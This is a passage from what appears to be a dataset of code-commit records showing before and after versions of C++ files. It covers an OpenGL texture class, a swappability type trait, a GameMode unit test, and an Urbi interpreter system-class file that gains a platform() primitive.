GL_TEXTURE_MAG_FILTER, mag_filter);\n        glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, wrap_s);\n        glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, wrap_t);\n    }\n\n    GLuint texture2D::operator()() const\n    {\n        return m_tex;\n    }\n\n    glm::ivec2 texture2D::dims() const\n    {\n        return m_dims;\n    }\n\n    bool texture2D::is_opaque() const\n    {\n        return m_opaque;\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2013 Andrew C. Morrow\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef included_6603F051_ED25_4096_8DCF_0F4A5829CACD\n#define included_6603F051_ED25_4096_8DCF_0F4A5829CACD\n\n#include <type_traits>\n#include <utility>\n\nnamespace acm {\n    namespace detail  {\n\n        namespace adl_swap_ns {\n            using std::swap;\n\n            template <class T>\n            struct is_nothrow_swappable_test {\n                static bool constexpr value = noexcept(swap(std::declval<T&>(), std::declval<T&>()));\n            };\n        } \/\/ namespace adl_swap_ns\n\n        \/\/ This really should be part of C++\n        template <class T>\n        struct is_nothrow_swappable\n            : std::integral_constant<bool, adl_swap_ns::is_nothrow_swappable_test<T>::value>\n        {};\n\n    } \/\/ namespace detail\n} \/\/ namespace acm\n\n#endif \/\/ included_6603F051_ED25_4096_8DCF_0F4A5829CACD\n<commit_msg>Add is_swappable and make is_nothrow_swappable honor it<commit_after>\/\/ Copyright 2013 Andrew C. Morrow\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef included_6603F051_ED25_4096_8DCF_0F4A5829CACD\n#define included_6603F051_ED25_4096_8DCF_0F4A5829CACD\n\n#include <type_traits>\n#include <utility>\n\nnamespace acm {\n    namespace detail  {\n\n        namespace adl_swap_ns {\n            using std::swap;\n\n            template<typename T>\n            struct is_swappable_test {\n\n                template<typename U>\n                static decltype(swap(std::declval<U&>(), std::declval<U&>())) test(const U&);\n\n                template<typename U>\n                static bool test(...);\n\n                using test_type = decltype(test<T>(std::declval<T&>()));\n                static constexpr bool value = std::is_void<test_type>::value;\n            };\n\n            template<bool, typename T>\n            struct is_nothrow_swappable_test :\n                std::integral_constant<bool, noexcept(swap(std::declval<T&>(), std::declval<T&>()))> {\n            };\n\n            template<typename T>\n            struct is_nothrow_swappable_test<false, T> :\n                std::false_type {\n            };\n\n        } \/\/ namespace adl_swap_ns\n\n        template<typename T>\n        struct is_swappable :\n            std::integral_constant<bool, adl_swap_ns::is_swappable_test<T>::value> {};\n\n        \/\/ This really should be part of C++\n        template<typename T>\n        struct is_nothrow_swappable\n            : std::integral_constant<bool, adl_swap_ns::is_nothrow_swappable_test<is_swappable<T>::value, T>::value>\n        {};\n\n    } \/\/ namespace detail\n} \/\/ namespace acm\n\n#endif \/\/ included_6603F051_ED25_4096_8DCF_0F4A5829CACD\n<|endoftext|>"}
{"text":"<commit_before>#include \"game_mode.hpp\"\n#include \"mock_controller.hpp\"\n#include \"mock_observer.hpp\"\n#include \"mock_view.hpp\"\n\n#include <gtest\/gtest.h>\n#include <gmock\/gmock.h>\nusing ::testing::Return;\n\n#include <stdexcept>\nusing namespace std;\n\nnamespace {\n  class DISABLED_GameModeTest : public ::testing::Test {\n  protected:\n    DISABLED_GameModeTest() {\n    }\n\n    virtual ~DISABLED_GameModeTest() {\n    }\n\n    virtual void SetUp() {\n    }\n\n    virtual void TearDown() {\n    }\n\n  };\n\n  TEST_F(DISABLED_GameModeTest, GetsAndProcessEventsFromController) {\n\n    MockController mc;\n    MockView mv;\n    GameMode gm(&mc, &mv);\n\n    EXPECT_CALL(mc,check_events())\n      .WillOnce(Return(false))\n      .WillOnce(Return(true));\n    EXPECT_CALL(mc,handle_event());\n\n    \/\/ First call will get nothing\n    gm.update_game(10);\n    \/\/ Second call will get an event and process it\n    gm.update_game(10);\n\n  }\n\n  TEST_F(DISABLED_GameModeTest, UsesViewToRenderTheContent) {\n    MockController mc;\n    MockView mv;\n    GameMode gm(&mc, &mv);\n\n    EXPECT_CALL(mv, render_game()).Times(1);\n\n    gm.render_game();\n  }\n\n  TEST_F(DISABLED_GameModeTest, AddObserversToControllerAndView) {\n    MockObserver o;\n    MockController mc;\n    MockView mv;\n    \n    GameMode gm(&mc, &mv);\n\n    EXPECT_CALL(mc, add_observer(&o));\n    EXPECT_CALL(o, handle_event(12));\n\n    gm.add_observer(&o);\n    gm.fire_event(12);\n\t\t\n    \n  }\n\n\n\n} \/\/ Namespace\n<commit_msg>Test cleanup.<commit_after>#include \"game_mode.hpp\"\n#include \"mock_controller.hpp\"\n#include \"mock_observer.hpp\"\n#include \"mock_view.hpp\"\n\n#include <gtest\/gtest.h>\n#include <gmock\/gmock.h>\nusing ::testing::Return;\n\n#include <stdexcept>\nusing namespace std;\n\nnamespace {\n  class GameModeTest : public ::testing::Test {\n  protected:\n    GameModeTest() {\n    }\n\n    virtual ~GameModeTest() {\n    }\n\n    virtual void SetUp() {\n    }\n\n    virtual void TearDown() {\n    }\n\n  };\n\n  TEST_F(GameModeTest, GetsAndProcessEventsFromController) {\n\n    MockController mc;\n    MockView mv;\n    GameMode gm(&mc, &mv);\n\n    EXPECT_CALL(mc,check_events())\n      .WillOnce(Return(false))\n      .WillOnce(Return(true));\n    EXPECT_CALL(mc,handle_event());\n\n    \/\/ First call will get nothing\n    gm.update_game(10);\n    \/\/ Second call will get an event and process it\n    gm.update_game(10);\n\n  }\n\n  TEST_F(GameModeTest, UsesViewToRenderTheContent) {\n    MockController mc;\n    MockView mv;\n    GameMode gm(&mc, &mv);\n\n    EXPECT_CALL(mv, render_game()).Times(1);\n\n    gm.render_game();\n  }\n\n  TEST_F(GameModeTest, AddObserversToControllerAndView) {\n    MockObserver o;\n    MockController mc;\n    MockView mv;\n    \n    GameMode gm(&mc, &mv);\n\n    EXPECT_CALL(mc, add_observer(&o));\n    EXPECT_CALL(o, handle_event(12));\n\n    gm.add_observer(&o);\n    gm.fire_event(12);\n\t\t\n    \n  }\n\n\n\n} \/\/ Namespace\n<|endoftext|>"}
{"text":"<commit_before>\/**\n ** \\file object\/system-class.cc\n ** \\brief Creation of the URBI object system.\n *\/\n\n\/\/#define ENABLE_DEBUG_TRACES\n#include <libport\/compiler.hh>\n#include <libport\/cstdlib>\n\n#include <memory>\n#include <sstream>\n\n#include <kernel\/userver.hh>\n#include <kernel\/uconnection.hh>\n\n#include <object\/code.hh>\n#include <object\/cxx-primitive.hh>\n#include <object\/dictionary.hh>\n#include <object\/float.hh>\n#include <object\/global.hh>\n#include <object\/lobby.hh>\n#include <object\/list.hh>\n#include <object\/system.hh>\n#include <object\/tag.hh>\n#include <object\/task.hh>\n#include <parser\/transform.hh>\n#include <runner\/at-handler.hh>\n#include <runner\/call.hh>\n#include <runner\/interpreter.hh>\n#include <runner\/raise.hh>\n#include <runner\/runner.hh>\n\n#include <ast\/nary.hh>\n#include <ast\/routine.hh>\n\nnamespace object\n{\n\n\n  rObject\n  execute_parsed(runner::Runner& r,\n                 parser::parse_result_type p,\n                 libport::Symbol fun, std::string e)\n  {\n    runner::Interpreter& run = dynamic_cast<runner::Interpreter&>(r);\n\n    \/\/ Report potential errors\n    {\n      ast::rNary errs = new ast::Nary();\n      p->process_errors(*errs);\n      run(errs.get());\n    }\n\n    ast::rConstAst ast = parser::transform(p->ast_get());\n    if (!ast)\n      runner::raise_primitive_error(e);\n\n    runner::Interpreter* sub = new runner::Interpreter(run, ast, fun);\n    \/\/ So that it will resist to the call to yield_until_terminated,\n    \/\/ and will be reclaimed at the end of the scope.\n    scheduler::rJob job = sub;\n    libport::Finally finally;\n    r.register_child(sub, finally);\n    sub->start_job();\n    try\n    {\n      run.yield_until_terminated(*job);\n    }\n    catch (const scheduler::ChildException& ce)\n    {\n      \/\/ Kill the sub-job and propagate.\n      scheduler::rethrow(ce.child_exception_get());\n    }\n    return sub->result_get();\n  }\n\n\n  rObject system_class;\n\n  \/*--------------------.\n  | System primitives.  |\n  `--------------------*\/\n\n\n#define SERVER_FUNCTION(Function)\t\t\t\t\t\\\n  static rObject\t\t\t\t\t\t\t\\\n  system_class_ ## Function (runner::Runner&, objects_type args)\t\\\n  {\t\t\t\t\t\t\t\t\t\\\n    check_arg_count(args.size() - 1, 0);                                \\\n    ::urbiserver->Function();\t\t\t\t\t\t\\\n    return void_class;\t\t\t\t\t\t\t\\\n  }\n\n  SERVER_FUNCTION(reboot)\n  SERVER_FUNCTION(shutdown)\n\n#undef SERVER_FUNCTION\n\n\n  static rObject\n  system_class_sleep (runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 1);\n\n    type_check(args[1], Float::proto);\n\n    rFloat arg1 = args[1]->as<Float>();\n    libport::utime_t deadline;\n    if (arg1->value_get() == std::numeric_limits<ufloat>::infinity())\n      deadline = std::numeric_limits<libport::utime_t>::max();\n    else\n      deadline = r.scheduler_get().get_time() +\n\tstatic_cast<libport::utime_t>(arg1->value_get() * 1000000.0);\n    r.yield_until (deadline);\n    return void_class;\n  }\n\n  static rObject\n  system_class_time(runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    return new Float(r.scheduler_get().get_time() \/ 1000000.0);\n  }\n\n  static rObject\n  system_class_shiftedTime(runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    return new Float((r.scheduler_get().get_time() -\n\t\t\t  r.time_shift_get()) \/ 1000000.0);\n  }\n\n  static rObject\n  system_class_assert_(runner::Runner&, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 2);\n    type_check(args[2], String::proto);\n    rString arg2 = args[2]->as<String>();\n    if (!is_true(args[1]))\n      runner::raise_primitive_error(\"assertion `\" + arg2->value_get() +\n\t\t\t\t    \"' failed\");\n    return void_class;\n  }\n\n  static rObject\n  system_class_eval(runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 1);\n    type_check(args[1], String::proto);\n    rString arg1 = args[1]->as<String>();\n    return\n      execute_parsed(r, parser::parse(arg1->value_get()),\n                     SYMBOL(eval),\n                     \"error executing command: \" + arg1->value_get());\n  }\n\n  static rObject\n  system_class_registerAtJob (runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 3);\n    runner::register_at_job(dynamic_cast<runner::Interpreter&>(r),\n\t\t\t    args[1], args[2], args[3]);\n    return object::void_class;\n  }\n\n  static rObject\n  system_class_scopeTag(runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    const scheduler::rTag& scope_tag =\n      dynamic_cast<runner::Interpreter&>(r).scope_tag();\n    return new Tag(scope_tag);\n  }\n\n  static rObject\n  system_class_searchFile (runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 1);\n    type_check(args[1], String::proto);\n    const rString& arg1 = args[1]->as<String>();\n\n    UServer& s = r.lobby_get()->value_get().connection.server_get();\n    try\n    {\n      return new String(s.find_file(arg1->value_get()));\n    }\n    catch (libport::file_library::Not_found&)\n    {\n      runner::raise_primitive_error(\"Unable to find file: \" +\n\t\t\t\t    arg1->value_get());\n      \/\/ Never reached\n      assertion(false);\n      return 0;\n    }\n  }\n\n  static rObject\n  system_class_loadFile(runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 1);\n    type_check(args[1], String::proto);\n    const rString& arg1 = args[1]->as<String>();\n\n    const std::string& filename = arg1->value_get();\n\n    if (!libport::path(filename).exists())\n      runner::raise_primitive_error(\"No such file: \" + filename);\n    return\n      execute_parsed(r, parser::parse_file(filename),\n                     SYMBOL(loadFile),\n\t\t     \"error loading file: \" + filename);\n  }\n\n  static rObject\n  system_class_currentRunner (runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    return r.as_task();\n  }\n\n  static rObject\n  system_class_cycle (runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    return new Float(r.scheduler_get ().cycle_get ());\n  }\n\n  static rObject\n  system_class_fresh (runner::Runner&, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    return new String(libport::Symbol::fresh());\n  }\n\n  static rObject\n  system_class_lobby (runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    return r.lobby_get();\n  }\n\n  static rObject\n  system_class_nonInterruptible (runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    r.non_interruptible_set (true);\n    return void_class;\n  }\n\n  static rObject\n  system_class_quit (runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    r.lobby_get()->value_get().connection.close();\n    return void_class;\n  }\n\n  static rObject\n  system_class_spawn(runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 1);\n    rObject arg1 = args[1]->as<Code>();\n    assert(arg1);\n\n    runner::Interpreter* new_runner =\n      new runner::Interpreter (dynamic_cast<runner::Interpreter&>(r),\n\t\t\t       rObject(arg1));\n    new_runner->copy_tags (r);\n    new_runner->time_shift_set (r.time_shift_get ());\n\n    new_runner->start_job ();\n\n    return object::void_class;\n  }\n\n  static rObject\n  system_class_stats(runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    Dictionary::value_type res;\n    const scheduler::scheduler_stats_type& stats =\n      r.scheduler_get().stats_get();\n    \/\/ The space after \"Symbol(\" is mandatory to avoid triggering an error in\n    \/\/ symbol generation code\n#define ADDSTAT(Suffix, Function, Divisor)\t\t\t\t\\\n    res[libport::Symbol( \"cycles\" # Suffix)] = new Float(stats.Function() \/ Divisor)\n    ADDSTAT(, size, 1);\n    ADDSTAT(Max, max, 1000.0);\n    ADDSTAT(Mean, mean, 1000.0);\n    ADDSTAT(Min, min, 1000.0);\n    ADDSTAT(StdDev, standard_deviation, 1000.0);\n    ADDSTAT(Variance, variance, 1000.0);\n#undef ADDSTAT\n    return new Dictionary(res);\n  }\n\n  \/\/ This should give a backtrace as an urbi object.\n  static rObject\n  system_class_backtrace(runner::Runner& r, objects_type args)\n  {\n    \/\/ FIXME: This method sucks a bit, because show_backtrace sucks a\n    \/\/ bit, because our channeling\/message-sending system sucks a lot.\n    check_arg_count(args.size() - 1, 0);\n    runner::Runner::backtrace_type bt = r.backtrace_get();\n    bt.pop_back();\n    foreach (const runner::Runner::frame_type& elt,\n\t     boost::make_iterator_range(boost::rbegin(bt),\n\t\t\t\t\tboost::rend(bt)))\n      r.send_message(\"backtrace\", elt.first + \" (\" + elt.second + \")\");\n    return void_class;\n  }\n\n  static rObject\n  system_class_jobs(runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    List::value_type res;\n    foreach(scheduler::rJob job, r.scheduler_get().jobs_get())\n      res.push_back(dynamic_cast<runner::Runner*>(job.get())->as_task());\n    return new List(res);\n  }\n\n  static rObject\n  system_class_aliveJobs(runner::Runner&, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    return new Float(scheduler::Job::alive_jobs());\n  }\n\n  static rObject\n  system_class_breakpoint(runner::Runner&, objects_type)\n  {\n    return void_class;\n  }\n\n#define SERVER_SET_VAR(Function, Variable, Value)\t\t\t\\\n  static rObject\t\t\t\t\t\t\t\\\n  system_class_ ## Function (runner::Runner&, objects_type args)\t\\\n  {\t\t\t\t\t\t\t\t\t\\\n    check_arg_count(args.size() - 1, 0);                                \\\n    ::urbiserver->Variable = Value;\t\t\t\t\t\\\n    return void_class;\t\t\t\t\t\t\t\\\n  }\n\n  SERVER_SET_VAR(debugoff, debugOutput, false)\n  SERVER_SET_VAR(debugon, debugOutput, true)\n  SERVER_SET_VAR(stopall, stopall, true)\n\n#undef SERVER_SET_VAR\n\n  static rObject system_getenv(rObject, const std::string& name)\n  {\n    char* res = getenv(name.c_str());\n    return res ? new String(res) : 0;\n  }\n\n  static rObject system_setenv(runner::Runner& r, rObject,\n                               const std::string& name, rObject value)\n  {\n    rString v = urbi_call(r, value, SYMBOL(asString))->as<String>();\n    setenv(name.c_str(), v->value_get().c_str(), 1);\n    return v;\n  }\n\n  static rObject system_unsetenv(rObject, const std::string& name)\n  {\n    rObject res = system_getenv(0, name);\n    unsetenv(name.c_str());\n    return res;\n  }\n\n  static libport::InstanceTracker<Lobby>::set_type system_lobbies()\n  {\n    return Lobby::instances_get();\n  }\n\n  void\n  system_class_initialize ()\n  {\n#define DECLARE(Name)                                                   \\\n    system_class->slot_set                                              \\\n      (SYMBOL(Name),                                                    \\\n       make_primitive(&system_##Name))                                  \\\n\n    DECLARE(getenv);\n    DECLARE(lobbies);\n    DECLARE(setenv);\n    DECLARE(unsetenv);\n\n#undef DECLARE\n\n    \/\/\/ \\a Call gives the name of the C++ function, and \\a Name that in Urbi.\n#define DECLARE(Name)\t\t\t\t\\\n    DECLARE_PRIMITIVE(system, Name)\n\n    DECLARE(aliveJobs);\n    DECLARE(assert_);\n    DECLARE(backtrace);\n    DECLARE(breakpoint);\n    DECLARE(currentRunner);\n    DECLARE(cycle);\n    DECLARE(debugoff);\n    DECLARE(debugon);\n    DECLARE(eval);\n    DECLARE(fresh);\n    DECLARE(jobs);\n    DECLARE(loadFile);\n    DECLARE(lobby);\n    DECLARE(nonInterruptible);\n    DECLARE(quit);\n    DECLARE(reboot);\n    DECLARE(registerAtJob);\n    DECLARE(scopeTag);\n    DECLARE(searchFile);\n    DECLARE(shiftedTime);\n    DECLARE(stats);\n    DECLARE(shutdown);\n    DECLARE(sleep);\n    DECLARE(spawn);\n    DECLARE(stopall);\n    DECLARE(time);\n#undef DECLARE\n  }\n\n}; \/\/ namespace object\n<commit_msg>Return the platform as \"POSIX\" or \"WIN32\".<commit_after>\/**\n ** \\file object\/system-class.cc\n ** \\brief Creation of the URBI object system.\n *\/\n\n\/\/#define ENABLE_DEBUG_TRACES\n#include <libport\/compiler.hh>\n#include <libport\/cstdlib>\n\n#include <memory>\n#include <sstream>\n\n#include <kernel\/userver.hh>\n#include <kernel\/uconnection.hh>\n\n#include <object\/code.hh>\n#include <object\/cxx-primitive.hh>\n#include <object\/dictionary.hh>\n#include <object\/float.hh>\n#include <object\/global.hh>\n#include <object\/lobby.hh>\n#include <object\/list.hh>\n#include <object\/system.hh>\n#include <object\/tag.hh>\n#include <object\/task.hh>\n#include <parser\/transform.hh>\n#include <runner\/at-handler.hh>\n#include <runner\/call.hh>\n#include <runner\/interpreter.hh>\n#include <runner\/raise.hh>\n#include <runner\/runner.hh>\n\n#include <ast\/nary.hh>\n#include <ast\/routine.hh>\n\nnamespace object\n{\n\n\n  rObject\n  execute_parsed(runner::Runner& r,\n                 parser::parse_result_type p,\n                 libport::Symbol fun, std::string e)\n  {\n    runner::Interpreter& run = dynamic_cast<runner::Interpreter&>(r);\n\n    \/\/ Report potential errors\n    {\n      ast::rNary errs = new ast::Nary();\n      p->process_errors(*errs);\n      run(errs.get());\n    }\n\n    ast::rConstAst ast = parser::transform(p->ast_get());\n    if (!ast)\n      runner::raise_primitive_error(e);\n\n    runner::Interpreter* sub = new runner::Interpreter(run, ast, fun);\n    \/\/ So that it will resist to the call to yield_until_terminated,\n    \/\/ and will be reclaimed at the end of the scope.\n    scheduler::rJob job = sub;\n    libport::Finally finally;\n    r.register_child(sub, finally);\n    sub->start_job();\n    try\n    {\n      run.yield_until_terminated(*job);\n    }\n    catch (const scheduler::ChildException& ce)\n    {\n      \/\/ Kill the sub-job and propagate.\n      scheduler::rethrow(ce.child_exception_get());\n    }\n    return sub->result_get();\n  }\n\n\n  rObject system_class;\n\n  \/*--------------------.\n  | System primitives.  |\n  `--------------------*\/\n\n\n#define SERVER_FUNCTION(Function)\t\t\t\t\t\\\n  static rObject\t\t\t\t\t\t\t\\\n  system_class_ ## Function (runner::Runner&, objects_type args)\t\\\n  {\t\t\t\t\t\t\t\t\t\\\n    check_arg_count(args.size() - 1, 0);                                \\\n    ::urbiserver->Function();\t\t\t\t\t\t\\\n    return void_class;\t\t\t\t\t\t\t\\\n  }\n\n  SERVER_FUNCTION(reboot)\n  SERVER_FUNCTION(shutdown)\n\n#undef SERVER_FUNCTION\n\n\n  static rObject\n  system_class_sleep (runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 1);\n\n    type_check(args[1], Float::proto);\n\n    rFloat arg1 = args[1]->as<Float>();\n    libport::utime_t deadline;\n    if (arg1->value_get() == std::numeric_limits<ufloat>::infinity())\n      deadline = std::numeric_limits<libport::utime_t>::max();\n    else\n      deadline = r.scheduler_get().get_time() +\n\tstatic_cast<libport::utime_t>(arg1->value_get() * 1000000.0);\n    r.yield_until (deadline);\n    return void_class;\n  }\n\n  static rObject\n  system_class_time(runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    return new Float(r.scheduler_get().get_time() \/ 1000000.0);\n  }\n\n  static rObject\n  system_class_shiftedTime(runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    return new Float((r.scheduler_get().get_time() -\n\t\t\t  r.time_shift_get()) \/ 1000000.0);\n  }\n\n  static rObject\n  system_class_assert_(runner::Runner&, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 2);\n    type_check(args[2], String::proto);\n    rString arg2 = args[2]->as<String>();\n    if (!is_true(args[1]))\n      runner::raise_primitive_error(\"assertion `\" + arg2->value_get() +\n\t\t\t\t    \"' failed\");\n    return void_class;\n  }\n\n  static rObject\n  system_class_eval(runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 1);\n    type_check(args[1], String::proto);\n    rString arg1 = args[1]->as<String>();\n    return\n      execute_parsed(r, parser::parse(arg1->value_get()),\n                     SYMBOL(eval),\n                     \"error executing command: \" + arg1->value_get());\n  }\n\n  static rObject\n  system_class_registerAtJob (runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 3);\n    runner::register_at_job(dynamic_cast<runner::Interpreter&>(r),\n\t\t\t    args[1], args[2], args[3]);\n    return object::void_class;\n  }\n\n  static rObject\n  system_class_scopeTag(runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    const scheduler::rTag& scope_tag =\n      dynamic_cast<runner::Interpreter&>(r).scope_tag();\n    return new Tag(scope_tag);\n  }\n\n  static rObject\n  system_class_searchFile (runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 1);\n    type_check(args[1], String::proto);\n    const rString& arg1 = args[1]->as<String>();\n\n    UServer& s = r.lobby_get()->value_get().connection.server_get();\n    try\n    {\n      return new String(s.find_file(arg1->value_get()));\n    }\n    catch (libport::file_library::Not_found&)\n    {\n      runner::raise_primitive_error(\"Unable to find file: \" +\n\t\t\t\t    arg1->value_get());\n      \/\/ Never reached\n      assertion(false);\n      return 0;\n    }\n  }\n\n  static rObject\n  system_class_loadFile(runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 1);\n    type_check(args[1], String::proto);\n    const rString& arg1 = args[1]->as<String>();\n\n    const std::string& filename = arg1->value_get();\n\n    if (!libport::path(filename).exists())\n      runner::raise_primitive_error(\"No such file: \" + filename);\n    return\n      execute_parsed(r, parser::parse_file(filename),\n                     SYMBOL(loadFile),\n\t\t     \"error loading file: \" + filename);\n  }\n\n  static rObject\n  system_class_currentRunner (runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    return r.as_task();\n  }\n\n  static rObject\n  system_class_cycle (runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    return new Float(r.scheduler_get ().cycle_get ());\n  }\n\n  static rObject\n  system_class_fresh (runner::Runner&, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    return new String(libport::Symbol::fresh());\n  }\n\n  static rObject\n  system_class_lobby (runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    return r.lobby_get();\n  }\n\n  static rObject\n  system_class_nonInterruptible (runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    r.non_interruptible_set (true);\n    return void_class;\n  }\n\n  static rObject\n  system_class_quit (runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    r.lobby_get()->value_get().connection.close();\n    return void_class;\n  }\n\n  static rObject\n  system_class_spawn(runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 1);\n    rObject arg1 = args[1]->as<Code>();\n    assert(arg1);\n\n    runner::Interpreter* new_runner =\n      new runner::Interpreter (dynamic_cast<runner::Interpreter&>(r),\n\t\t\t       rObject(arg1));\n    new_runner->copy_tags (r);\n    new_runner->time_shift_set (r.time_shift_get ());\n\n    new_runner->start_job ();\n\n    return object::void_class;\n  }\n\n  static rObject\n  system_class_stats(runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    Dictionary::value_type res;\n    const scheduler::scheduler_stats_type& stats =\n      r.scheduler_get().stats_get();\n    \/\/ The space after \"Symbol(\" is mandatory to avoid triggering an error in\n    \/\/ symbol generation code\n#define ADDSTAT(Suffix, Function, Divisor)\t\t\t\t\\\n    res[libport::Symbol( \"cycles\" # Suffix)] = new Float(stats.Function() \/ Divisor)\n    ADDSTAT(, size, 1);\n    ADDSTAT(Max, max, 1000.0);\n    ADDSTAT(Mean, mean, 1000.0);\n    ADDSTAT(Min, min, 1000.0);\n    ADDSTAT(StdDev, standard_deviation, 1000.0);\n    ADDSTAT(Variance, variance, 1000.0);\n#undef ADDSTAT\n    return new Dictionary(res);\n  }\n\n  static rObject\n  system_class_platform(runner::Runner&, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n#ifdef WIN32\n    return to_urbi(SYMBOL(WIN32));\n#else\n    return to_urbi(SYMBOL(POSIX));\n#endif\n  }\n\n  \/\/ This should give a backtrace as an urbi object.\n  static rObject\n  system_class_backtrace(runner::Runner& r, objects_type args)\n  {\n    \/\/ FIXME: This method sucks a bit, because show_backtrace sucks a\n    \/\/ bit, because our channeling\/message-sending system sucks a lot.\n    check_arg_count(args.size() - 1, 0);\n    runner::Runner::backtrace_type bt = r.backtrace_get();\n    bt.pop_back();\n    foreach (const runner::Runner::frame_type& elt,\n\t     boost::make_iterator_range(boost::rbegin(bt),\n\t\t\t\t\tboost::rend(bt)))\n      r.send_message(\"backtrace\", elt.first + \" (\" + elt.second + \")\");\n    return void_class;\n  }\n\n  static rObject\n  system_class_jobs(runner::Runner& r, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    List::value_type res;\n    foreach(scheduler::rJob job, r.scheduler_get().jobs_get())\n      res.push_back(dynamic_cast<runner::Runner*>(job.get())->as_task());\n    return new List(res);\n  }\n\n  static rObject\n  system_class_aliveJobs(runner::Runner&, objects_type args)\n  {\n    check_arg_count(args.size() - 1, 0);\n    return new Float(scheduler::Job::alive_jobs());\n  }\n\n  static rObject\n  system_class_breakpoint(runner::Runner&, objects_type)\n  {\n    return void_class;\n  }\n\n#define SERVER_SET_VAR(Function, Variable, Value)\t\t\t\\\n  static rObject\t\t\t\t\t\t\t\\\n  system_class_ ## Function (runner::Runner&, objects_type args)\t\\\n  {\t\t\t\t\t\t\t\t\t\\\n    check_arg_count(args.size() - 1, 0);                                \\\n    ::urbiserver->Variable = Value;\t\t\t\t\t\\\n    return void_class;\t\t\t\t\t\t\t\\\n  }\n\n  SERVER_SET_VAR(debugoff, debugOutput, false)\n  SERVER_SET_VAR(debugon, debugOutput, true)\n  SERVER_SET_VAR(stopall, stopall, true)\n\n#undef SERVER_SET_VAR\n\n  static rObject system_getenv(rObject, const std::string& name)\n  {\n    char* res = getenv(name.c_str());\n    return res ? new String(res) : 0;\n  }\n\n  static rObject system_setenv(runner::Runner& r, rObject,\n                               const std::string& name, rObject value)\n  {\n    rString v = urbi_call(r, value, SYMBOL(asString))->as<String>();\n    setenv(name.c_str(), v->value_get().c_str(), 1);\n    return v;\n  }\n\n  static rObject system_unsetenv(rObject, const std::string& name)\n  {\n    rObject res = system_getenv(0, name);\n    unsetenv(name.c_str());\n    return res;\n  }\n\n  static libport::InstanceTracker<Lobby>::set_type system_lobbies()\n  {\n    return Lobby::instances_get();\n  }\n\n  void\n  system_class_initialize ()\n  {\n#define DECLARE(Name)                                                   \\\n    system_class->slot_set                                              \\\n      (SYMBOL(Name),                                                    \\\n       make_primitive(&system_##Name))                                  \\\n\n    DECLARE(getenv);\n    DECLARE(lobbies);\n    DECLARE(setenv);\n    DECLARE(unsetenv);\n\n#undef DECLARE\n\n    \/\/\/ \\a Call gives the name of the C++ function, and \\a Name that in Urbi.\n#define DECLARE(Name)\t\t\t\t\\\n    DECLARE_PRIMITIVE(system, Name)\n\n    DECLARE(aliveJobs);\n    DECLARE(assert_);\n    DECLARE(backtrace);\n    DECLARE(breakpoint);\n    